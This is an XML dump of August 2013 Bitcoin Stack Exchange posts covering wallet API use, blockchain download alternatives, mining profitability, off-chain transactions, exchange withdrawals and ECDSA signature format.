  <row Id="12507" PostTypeId="2" ParentId="12502" CreationDate="2013-08-04T12:52:35.813" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://bitcointalk.org/index.php?topic=267727.msg2863623#msg2863623&quot; rel=&quot;nofollow&quot;&gt;AKCoins's answer&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase has raised $6 million from all the big VCs: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start Fund&lt;/li&gt;&#xA;&lt;li&gt;Y Combinator&lt;/li&gt;&#xA;&lt;li&gt;Ribbit Capital&lt;/li&gt;&#xA;&lt;li&gt;Union Square Ventures&lt;/li&gt;&#xA;&lt;li&gt;Garry Tan&lt;/li&gt;&#xA;&lt;li&gt;SV Angel&lt;/li&gt;&#xA;&lt;li&gt;Greg Kidd&lt;/li&gt;&#xA;&lt;li&gt;FundersClub&lt;/li&gt;&#xA;&lt;li&gt;Adam Draper&lt;/li&gt;&#xA;&lt;li&gt;IDG Ventures&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-08-04T12:52:35.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12508" PostTypeId="1" CreationDate="2013-08-04T13:17:08.683" Score="2" ViewCount="2081" Body="&lt;p&gt;I'm making a bitcoin-based online marketplace. I've been reading/studying the Bitcoin API commands, and some of the commands need &quot;unlocked wallet&quot;. Does this mean a wallet without a passphrase?&#xA;I think it's vital that the wallet be encrypted at all times. Still, if I've understood everything correctly, I need to decrypt the wallet (at least for a while) to be able to send bitcoins to another wallet.&#xA;So how should I proceed? If someone on the website wants to take his/her coins on to another wallet, do I need to make it so the API removes the PIN or encryption from the wallet, sends the bitcoins and encrypts it again?&#xA;Is it secure to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and I'm using Bitcoin-QT to handle the coins.&lt;/p&gt;&#xA;" OwnerUserId="6215" LastActivityDate="2014-12-28T09:52:50.893" Title="How can I send bitcoins with Bitcoin-QT using the API?" Tags="|bitcoin-core|api|sending|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12509" PostTypeId="2" ParentId="12482" CreationDate="2013-08-04T15:13:47.760" Score="2" Body="&lt;p&gt;Short answer: no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: It's not likely to be necessary for some time. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There are still a considerable number of people on 32-bit Windows (~23% according to the &lt;a href=&quot;http://store.steampowered.com/hwsurvey/&quot; rel=&quot;nofollow&quot;&gt;Valve Hardware Survey&lt;/a&gt;, which paints a good picture of forefront computer enthusiast hardware, so the market share is likely to be larger among non-gamers).&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin-Qt doesn't yet push the limits of 32-bit memory address space. On my machine, Windows 7 64-bit, the program is consuming only ~128 MB of RAM while downloading blocks (haven't sync'd in a while). On my Mac, it's about 240 MB.&lt;/li&gt;&#xA;&lt;li&gt;The type conversion necessary may be prohibitive, if there is significant code written specifically for win32. Qt itself is obviously working fine on 64 bit, as is the most of the bitcoind codebase. There may be things here and there to work out. &lt;/li&gt;&#xA;&lt;li&gt;More likely to be prohibitive, or at least &quot;not worth it&quot;, is the management of the release of another package. There's already five packages managed, so including another is just that much more.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-08-04T15:13:47.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12510" PostTypeId="1" CreationDate="2013-08-04T15:32:25.843" Score="1" ViewCount="1249" Body="&lt;p&gt;I hail from a state where bandwidth is yet at a premium. Typical download speeds, in my experience as a dialup ADSL user, range from 10KBps up to 70KBps. Inclement weather may cause packet loss if not outright link failure. Over the last few months several ISP hereabouts have responded to service requests speaking of issues at the gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted the issues I face are local but my intent here should be pretty clear - What are the alternatives to downloading the multi-GB (and growing!) block chain?&lt;/p&gt;&#xA;" OwnerUserId="6183" LastActivityDate="2013-08-04T17:22:24.553" Title="What are the alternatives to downloading the 6GB block chain?" Tags="|blockchain|bandwidth|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12511" PostTypeId="2" ParentId="12510" CreationDate="2013-08-04T15:50:12.690" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.multibit.org&quot; rel=&quot;nofollow&quot;&gt;www.multibit.org&lt;/a&gt; &amp;lt;--This seems to be a pretty good client that doesn't need the full blockchain locally.&lt;/p&gt;&#xA;" OwnerUserId="6217" LastEditorUserId="6183" LastEditDate="2013-08-04T16:04:08.193" LastActivityDate="2013-08-04T16:04:08.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12513" PostTypeId="2" ParentId="12510" CreationDate="2013-08-04T17:22:24.553" Score="2" Body="&lt;p&gt;Alternatives to downloading the data yourself in reference client:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take your computer to somewhere with Internet that you can be for several hours, perhaps a friend or relative's house, or a library or coffee shop.&lt;/li&gt;&#xA;&lt;li&gt;You can employ &lt;a href=&quot;http://archive.org/details/bitcoin_bootstrap.dat&quot; rel=&quot;nofollow noreferrer&quot;&gt;bootstrap.dat&lt;/a&gt; by having someone else download it and give it to you somehow. Then you'd only have to get caught up and download ~ 2 GB. Alternatively, you can have that same person create for you a bootstrap.dat that is 100% up to date, as that bootstrap is behind by a few months.&lt;/li&gt;&#xA;&lt;li&gt;Use a web wallet. You'll be sacrificing some security for the convenience, though.&lt;/li&gt;&#xA;&lt;li&gt;Use an &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4649/what-is-an-spv-client&quot;&gt;SPV client&lt;/a&gt;, such as Multibit or Bitcoin for Android, that only has to download data related to your addresses. You'll be sacrificing the ability to verify any payment. Many people find this acceptable.&lt;/li&gt;&#xA;&lt;li&gt;Use a server-reliant client such as &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10461/what-are-some-compelling-reasons-to-use-electrum&quot;&gt;Electrum&lt;/a&gt;, where your client must download virtually no data. You'll always rely on a central server for transmission and verification of transactions, but your private keys will always be stored locally.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-08-04T17:22:24.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12514" PostTypeId="1" CreationDate="2013-08-04T17:49:12.403" Score="0" ViewCount="72" Body="&lt;p&gt;I sent 2.4 BTC from the vanilla bitcoin client to my input.io wallet.  The bitcoin-qt client didn't ask for any fees and sent instantly. In transaction details it shows 0/3 confirmation and no transmitting nodes. My input.io wallet does not show any unconfirmed balance.  It has been 2 hours. What happens next? Did I lose my bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status: 0/unconfirmed&#xA;Date: 8/4/13 13:06&#xA;To: input.io 1QGd7qen3Qj6mht7ikmbHiKsLYgF3cEuWN&#xA;Debit: -2.40129 BTC&#xA;Net amount: -2.40129 BTC&#xA;Transaction ID: 30600040f3bac94fa4fff1f990d36f15434d3e0074cb5c919dc63fb34f578ce9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6219" LastEditorUserId="132" LastEditDate="2013-08-05T08:27:20.927" LastActivityDate="2013-08-05T08:27:20.927" Title="Bitcoin-qt to input.io no confirmations" Tags="|transactions|revert-transaction|" AnswerCount="0" CommentCount="2" ClosedDate="2013-09-13T00:55:47.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="12515" PostTypeId="2" ParentId="12508" CreationDate="2013-08-04T18:17:01.000" Score="0" Body="&lt;p&gt;You are absolutely right.&lt;br&gt;Look at the end of API calls list.&lt;br&gt;There is &lt;code&gt;walletpassphrase&lt;/code&gt; command. Use it to decrypt for some time, send money, then do &lt;code&gt;walletlock&lt;/code&gt;.&lt;br&gt;&#xA;Regarding security, it is not the best option, but still better than unencrypted wallet.&lt;br&gt;&#xA;Consider using PHP or other script languages to decrypt wallet: usually, if the attacker can access your unencrypted wallet, he can also find a password in PHP files and decrypt encrypted wallet. &lt;br&gt;Compiled languages are a bit more secure, but the password is still there. Someone with Hex Editor could afterall find the password.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-04T18:17:01.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12516" PostTypeId="1" CreationDate="2013-08-05T00:39:22.490" Score="0" ViewCount="158" Body="&lt;p&gt;Will the payout for mining always be 0.00000064 BTC?&#xA;Because that is what i just got.&lt;/p&gt;&#xA;" OwnerUserId="6221" LastEditorUserId="5406" LastEditDate="2016-04-28T13:26:29.920" LastActivityDate="2016-04-28T13:26:29.920" Title="Will the payout for mining will always be the same?" Tags="|mining-profitability|mining-reward|" AnswerCount="2" CommentCount="2" ClosedDate="2013-10-29T01:09:35.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="12517" PostTypeId="2" ParentId="12516" CreationDate="2013-08-05T02:21:57.490" Score="0" Body="&lt;p&gt;No, The payout is determined by the difficulty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how the difficulty has changed over time at this website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoindifficulty.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoindifficulty.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5731" LastActivityDate="2013-08-05T02:21:57.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12518" PostTypeId="2" ParentId="12516" CreationDate="2013-08-05T03:11:13.667" Score="2" Body="&lt;p&gt;No. The payout is determined by the block reward divided by the difficulty. The &lt;a href=&quot;http://bitcoinmagazine.com/block-reward-halving-a-guide/&quot; rel=&quot;nofollow&quot;&gt;block reward halves&lt;/a&gt; every 210,000 blocks and the &lt;a href=&quot;http://bitcoindifficulty.com/&quot; rel=&quot;nofollow&quot;&gt;difficulty changes&lt;/a&gt; based on the total amount of mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I write this, the block reward is 25 BTC and the difficulty is 37,392,766. Dividing gives .0000000668, which would be the pay per share at this moment for a pool that charged no fees and kept all transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-08-05T03:11:13.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12520" PostTypeId="1" AcceptedAnswerId="12521" CreationDate="2013-08-05T07:25:58.840" Score="13" ViewCount="147008" Body="&lt;p&gt;I was searching for Mining hardware on internet and found that a new technology is available known as &quot;bitcoin usb block erupter&quot; for mining bitcoins as 300MH/S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to know if it is useful to use these hardware instead of GPU mining and how to calculate breakeven point for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. : I've searched google for many things but there were mixed responses that's why I asked this question here&lt;/p&gt;&#xA;" OwnerUserId="4116" LastEditorUserId="5406" LastEditDate="2016-02-15T18:12:56.277" LastActivityDate="2016-02-15T18:12:56.277" Title="Is it worthy to use &quot;bitcoin usb block erupter&quot;" Tags="|asic|mining-profitability|mining-hardware|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12521" PostTypeId="2" ParentId="12520" CreationDate="2013-08-05T08:34:39.643" Score="26" Body="&lt;p&gt;A typical USB block erupter will get 333MH/s under realistic conditions. Today, a share is worth about 1/156 of a penny and 333MH/s will get you a share every 13 seconds. That comes out to 43 cents per day per erupter, not counting the cost of electricity. Difficulty is going up, and thus profitability going down, around 25% per month. So you can figure maybe $11 your first month, $8 your next, $6 the next, then $5, and so on. You might get about $50 before it becomes more trouble than it's worth.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-08-05T08:44:06.177" LastActivityDate="2013-08-05T08:44:06.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12522" PostTypeId="1" AcceptedAnswerId="12579" CreationDate="2013-08-05T12:41:02.670" Score="7" ViewCount="2513" Body="&lt;p&gt;What are some good resource(s) for learning &lt;strong&gt;how&lt;/strong&gt; bitcoin works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find any resources that are any more detailed than the basics - how you have wallets, the blockchain, confirmations, mining, etc. The source code for bitcoin is also a little beyond me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some good resources that explain the maths behind bitcoin? i.e. things like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to mine bitcoin, step-by-step ('manually' - not how to setup cgminer or GUIMiner)&lt;/li&gt;&#xA;&lt;li&gt;How to generate a new bitcoin wallet address&lt;/li&gt;&#xA;&lt;li&gt;How to update the blockchain&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="5406" LastEditDate="2013-10-11T14:19:17.530" LastActivityDate="2020-11-06T08:02:28.517" Title="What's a good resource to learn how [technically] bitcoin works?" Tags="|learning|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12525" PostTypeId="2" ParentId="12522" CreationDate="2013-08-05T16:21:50.230" Score="1" Body="&lt;p&gt;&lt;br&gt;&#xA;first of all nice question.&lt;br&gt;&#xA;Secondly, here is Satoshi whitepaper. &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/bitcoin.pdf&lt;/a&gt; I don't know if it's all math you want to know, but might be helpful.&lt;br&gt;&#xA;There is also NSA paper, which is probably somehow related. NSA is sometimes said to create bitcoin: &lt;a href=&quot;http://groups.csail.mit.edu/mac/classes/6.805/articles/money/nsamint/nsamint.htm&quot; rel=&quot;nofollow&quot;&gt;http://groups.csail.mit.edu/mac/classes/6.805/articles/money/nsamint/nsamint.htm&lt;/a&gt;&#xA;&lt;br&gt;I don't know anything more, but you should also consider reading source code after the first link.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-05T16:21:50.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12526" PostTypeId="2" ParentId="9637" CreationDate="2013-08-05T16:29:14.060" Score="3" Body="&lt;p&gt;The original question was [sic] &quot;What is the fastest CPU miner that I could use&quot;. Based on the answers, it seems, that everyone by default went to cpuminer/minerd. I use it also. However...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/luke-jr/bfgminer&quot; rel=&quot;nofollow&quot;&gt;bfgminer&lt;/a&gt; (all except the latest version) has the ability to be used as a cpu miner. I have not been able to optimize mine yet but I do know that it is an incredibly smart miner with many options that can be set for performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, cpuminer/minerd is great for being able to download and mine with your cpu all with no extensive testing, tweaking, etc. But if you want something that you can play around with, tweak, also to have built in Stratum, etc, then you may want to also dl bfgminer and play around. Especially if you want to cpu mine other alt coins (ie BBQ, Alpha, Xen, etc---anything with a low difficulty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if the day comes where you are ready to mine with a gpu, bfgminer is most likely going to be one of the miners you will use.&lt;/p&gt;&#xA;" OwnerUserId="6227" LastActivityDate="2013-08-05T16:29:14.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12528" PostTypeId="1" AcceptedAnswerId="12563" CreationDate="2013-08-05T17:28:38.733" Score="2" ViewCount="5485" Body="&lt;p&gt;What are the steps to withdrawing from a MtGox account to a bank account in USD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt Gox's Dwolla account is currently (Aug 2013) frozen or shut down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there international transfer, money order, wire transfers that can occur be used? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the steps be better defined?&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-09-26T16:32:51.110" Title="How can I withdraw dollars from Mt Gox?" Tags="|mtgox|wire-transfers|money-transfer|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12529" PostTypeId="1" CreationDate="2013-08-05T18:58:25.277" Score="1" ViewCount="153" Body="&lt;p&gt;I cashed out coins without thinking in bitcoin blackjack and pasted my send address. Its not showing up in my wallet. How do I get to these bitcoins? Thanks for you help. &lt;/p&gt;&#xA;" OwnerUserId="6228" LastActivityDate="2013-08-05T18:58:25.277" Title="I cashed out coins to my send address instead of my receive address in multi bit wallet where are they? can I get to them?" Tags="|transactions|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12530" PostTypeId="1" CreationDate="2013-08-05T19:57:06.713" Score="4" ViewCount="2851" Body="&lt;p&gt;Some wallets (such as inputs.io) claim to provide &lt;a href=&quot;https://inputs.io/faq#q3-3&quot; rel=&quot;nofollow&quot;&gt;off-chain transactions&lt;/a&gt;. Note: I have not used that wallet yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say if I have a Bitcoin address A in such a wallet provider and send 1 Bitcoin to address B from the same wallet provider, what will show on the public blockchain?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Will there be 1 Bitcoin in B on the public blockchain?&lt;/li&gt;&#xA;&lt;li&gt;If yes to 1, will that Bitcoin show as coming from A? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2075" LastEditDate="2013-08-06T18:47:18.373" LastActivityDate="2016-09-28T10:09:46.997" Title="How do off chain transactions work?" Tags="|blockchain|off-chain|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12531" PostTypeId="2" ParentId="5158" CreationDate="2013-08-05T20:07:42.023" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;You better use off-line machine for generation secure bitcoin&#xA;address. (see &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;vanitygen&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Thereafter send your money from on-line machine to this address.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin now are safe.&lt;/li&gt;&#xA;&lt;li&gt;Nobody know your private key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user6203" LastEditorDisplayName="user6203" LastEditDate="2013-08-05T22:22:40.453" LastActivityDate="2013-08-05T22:22:40.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12533" PostTypeId="1" AcceptedAnswerId="12534" CreationDate="2013-08-05T22:44:57.920" Score="0" ViewCount="808" Body="&lt;p&gt;I use Triplemining.com for the share site, GUIminer for the Miner, and Multibit for the wallet. I just got this configured. On the &quot;Account&quot; page of Triple mining, it says &quot;change payout address&quot;, but I don't remember specifying one. I am wondering what I put in there to hook up my Multibit wallet to TripleMining.&lt;/p&gt;&#xA;" OwnerUserId="6233" LastEditorUserId="5406" LastEditDate="2016-04-28T14:13:17.327" LastActivityDate="2016-04-28T14:13:17.327" Title="How to direct bitcoins from Triplemining to a wallet?" Tags="|wallet|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12534" PostTypeId="2" ParentId="12533" CreationDate="2013-08-05T22:48:49.527" Score="0" Body="&lt;p&gt;I think there isn't one specified, and when you generate coins, they just stay on the site's wallet.&#xA;Just take your bitcoin receiving address from Multibit and paste that to the &quot;payout address&quot;-field.&lt;/p&gt;&#xA;" OwnerUserId="6215" LastActivityDate="2013-08-05T22:48:49.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12535" PostTypeId="2" ParentId="12307" CreationDate="2013-08-05T22:56:26.913" Score="2" Body="&lt;p&gt;You can simply copy .bitcoin/wallet.dat to another place, and use it like HOME dir for bitcoind/bitcoin-qt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is like a copy the whole bitcoind data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other files in .bitcoin/ directory are just a logs and configs with database, which will be downloaded from network automatically by your new client program.  &lt;/p&gt;&#xA;" OwnerDisplayName="user6203" LastActivityDate="2013-08-05T22:56:26.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12536" PostTypeId="1" CreationDate="2013-08-06T02:48:14.250" Score="2" ViewCount="9748" Body="&lt;p&gt;I sent bitcoins to my CampBX address, and I was unaware that addresses expired, and it had.  So I sent them, they were taken out of my account, and now they are gone...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get them back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitchain says they were sent - but they are not in either account:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1aPb2GVC3YVcaRce17EAjEZL9ZsT1Ssqi&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1aPb2GVC3YVcaRce17EAjEZL9ZsT1Ssqi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6234" LastActivityDate="2013-08-06T15:00:53.680" Title="Sent Bitcoins to an expired address - how do I get back?" Tags="|lost-transactions|" AnswerCount="2" CommentCount="1" ClosedDate="2016-07-06T13:27:59.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="12537" PostTypeId="1" CreationDate="2013-08-06T03:05:49.890" Score="1" ViewCount="465" Body="&lt;p&gt;I think the title is pretty self explanatory. I know that MtGox has a fast ticker, so I was just wondering if BTCE had a similar function. &#xA;Thanks,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="6235" LastActivityDate="2014-03-17T01:39:38.867" Title="Does BTCE API have a fast ticker?" Tags="|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12541" PostTypeId="1" CreationDate="2013-08-06T08:38:34.273" Score="0" ViewCount="297" Body="&lt;p&gt;I'm running Abe to generate a Blockchain clone. It's been generating the database for over 3 days. The server is not very powerful, but 3 days seems too much time. The last tx output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;block_tx 121881 469801&#xA;block_tx 121881 469802&#xA;block_tx 121881 469803&#xA;block_tx 121881 469804&#xA;block_tx 121881 469805&#xA;block_tx 121881 469806&#xA;block_tx 121881 469807&#xA;block_tx 121881 469808&#xA;block_tx 121881 469809&#xA;commit&#xA;block_tx 121882 469810&#xA;block_tx 121882 469811&#xA;block_tx 121882 469812&#xA;block_tx 121882 469813&#xA;block_tx 121882 469814&#xA;block_tx 121882 469815&#xA;block_tx 121882 469816&#xA;block_tx 121882 469817&#xA;block_tx 121882 469818&#xA;block_tx 121882 469819&#xA;block_tx 121882 469820&#xA;commit&#xA;block_tx 121883 469821&#xA;block_tx 121883 469822&#xA;block_tx 121883 469823&#xA;block_tx 121883 469824&#xA;block_tx 121883 469825&#xA;block_tx 121883 469826&#xA;block_tx 121883 469827&#xA;block_tx 121883 469828&#xA;block_tx 121883 469829&#xA;block_tx 121883 469830&#xA;block_tx 121883 469831&#xA;block_tx 121883 469832&#xA;block_tx 121883 469833&#xA;block_tx 121883 469834&#xA;block_tx 121883 469835&#xA;block_tx 121883 469836&#xA;block_tx 121883 469837&#xA;block_tx 121883 469838&#xA;block_tx 121883 469839&#xA;commit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct? How much more time will I need to wait?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5104" LastActivityDate="2013-11-05T15:56:16.970" Title="Abe first time execution" Tags="|abe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12544" PostTypeId="2" ParentId="12536" CreationDate="2013-08-06T09:20:51.133" Score="0" Body="&lt;p&gt;CampBX are bound to keep the matching private keys somewhere. Otherwise they would lose quite some money as I'm sure you're not the only one who sends funds to an address that has &quot;expired&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the thing that expired was the binding between the funding address and your account. CampBX should be able to trace it though. A simple Support Ticket like Stephen suggested should resolve this situation.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-08-06T09:20:51.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12546" PostTypeId="2" ParentId="12530" CreationDate="2013-08-06T13:38:18.933" Score="0" Body="&lt;p&gt;If this is all managed off-chain within the same wallet provider then there would be no record of the transaction at all in the public blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would just be bit-flipping inside of the wallet provider's internal database (just like with a traditional bank, or with PayPal).&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2013-08-06T13:38:18.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12547" PostTypeId="2" ParentId="12536" CreationDate="2013-08-06T15:00:53.680" Score="1" Body="&lt;p&gt;From Camp BX:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Do not use this address after the expiry date, as your Bitcoin transfers will not be credited to your account. If you mistakenly make a deposit to an expired address, our system administrator has to expend several hours to track it down. We have to bill these hours out to customer if they wish to recover a lost deposit.&quot;&lt;/p&gt;&#xA;" OwnerUserId="6234" LastActivityDate="2013-08-06T15:00:53.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12548" PostTypeId="1" CreationDate="2013-08-06T16:14:39.570" Score="2" ViewCount="245" Body="&lt;p&gt;I recently used Coinbase to acquire some Bitcoins, my second Bitcoin purchase using their exchange.  The first transaction worked as expected however the second purchase seems to have encountered an internal error inside Coinbase.  After waiting the week for the USD transfer from my bank to change from &quot;PENDING&quot; to &quot;COMPLETE&quot; in the system I tried to transfer a portion of the purchased BTC to a bitcoin address.  The transaction appeared to be processing but the BTC never arrived at the destination address.  The following day there was no indication that the transaction had ever happened and the previously &quot;COMPLETED&quot; BTC purchase was once again &quot;PENDING&quot; with an estimate of 1 hour.  It has now been &quot;PENDING&quot; at the hour estimate for 6 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attempted to resolve this with Coinbase and I've only received an email saying we'll &quot;fix it as soon as possible&quot;.  They have held the funds deducted from my account for some time now.  Is there anything I could do at this late date from the banking side of things? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  Coinbase finally resolved whatever their issue was and the BTC was successfully delivered to my address.  Just over 14 days on this transaction where the first one took the advertised 7 day wait.  &lt;/p&gt;&#xA;" OwnerUserId="6246" LastEditorUserId="6246" LastEditDate="2013-08-06T21:42:45.723" LastActivityDate="2013-08-06T21:42:45.723" Title="Is there any recourse if an exchange/wallet service fails?" Tags="|coinbase.com|" AnswerCount="0" CommentCount="1" ClosedDate="2013-09-05T03:22:00.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="12550" PostTypeId="2" ParentId="12530" CreationDate="2013-08-06T16:50:15.063" Score="3" Body="&lt;p&gt;There will have to be a public record of a transfer into address B before any transfers can come from address B.  Internally the provider may move the funds from one address to the other &quot;off-chain&quot; for purposes of display but until some BTC moves into address B publicly it can't be spent from B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely when you attempt to send BTC externally from address B, that amount will either be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) transferred publicly from A to B and subsequently from B onward (incurring 2 transactions and twice the confirmation delay)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) transferred to a provider address from address A and be internally deducted from address B inside the provider system and actually transferred from some other provider address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) publicly paid directly from address A but shown as deducted from B in the provider system  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Off-chain transfers are one way to add additional anonymity to Bitcoin transactions but at some point the source address has to be publicly credited with BTC for the exchange to be valid in the block chain. &lt;/p&gt;&#xA;" OwnerUserId="6246" LastActivityDate="2013-08-06T16:50:15.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12554" PostTypeId="1" AcceptedAnswerId="12556" CreationDate="2013-08-06T23:31:41.107" Score="26" ViewCount="16258" Body="&lt;p&gt;A signature created by the Bitcoin-Qt client can always be decoded (base64) to a 65-byte array. This array seems (according to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/key.cpp#L217&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/key.cpp#L217&lt;/a&gt;) to contain a header byte, a 32-byte R part, and a 32-byte S part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've extracted some (R,S) pairs from some ECDSA Signatures encoded in the DER format. I found that R and S are not necessarily of 32 bytes in size. They sometimes can be 33 bytes long. Could anyone tell me why the signature created by the Qt client is always 65 bytes, or whether it is OK to always convert both R and S into a 32-byte array? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="675" LastEditDate="2013-08-07T00:08:52.883" LastActivityDate="2013-08-07T00:37:47.527" Title="Why the signature is always 65 (1+32+32) bytes long?" Tags="|bitcoin-core|signature|ecdsa|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
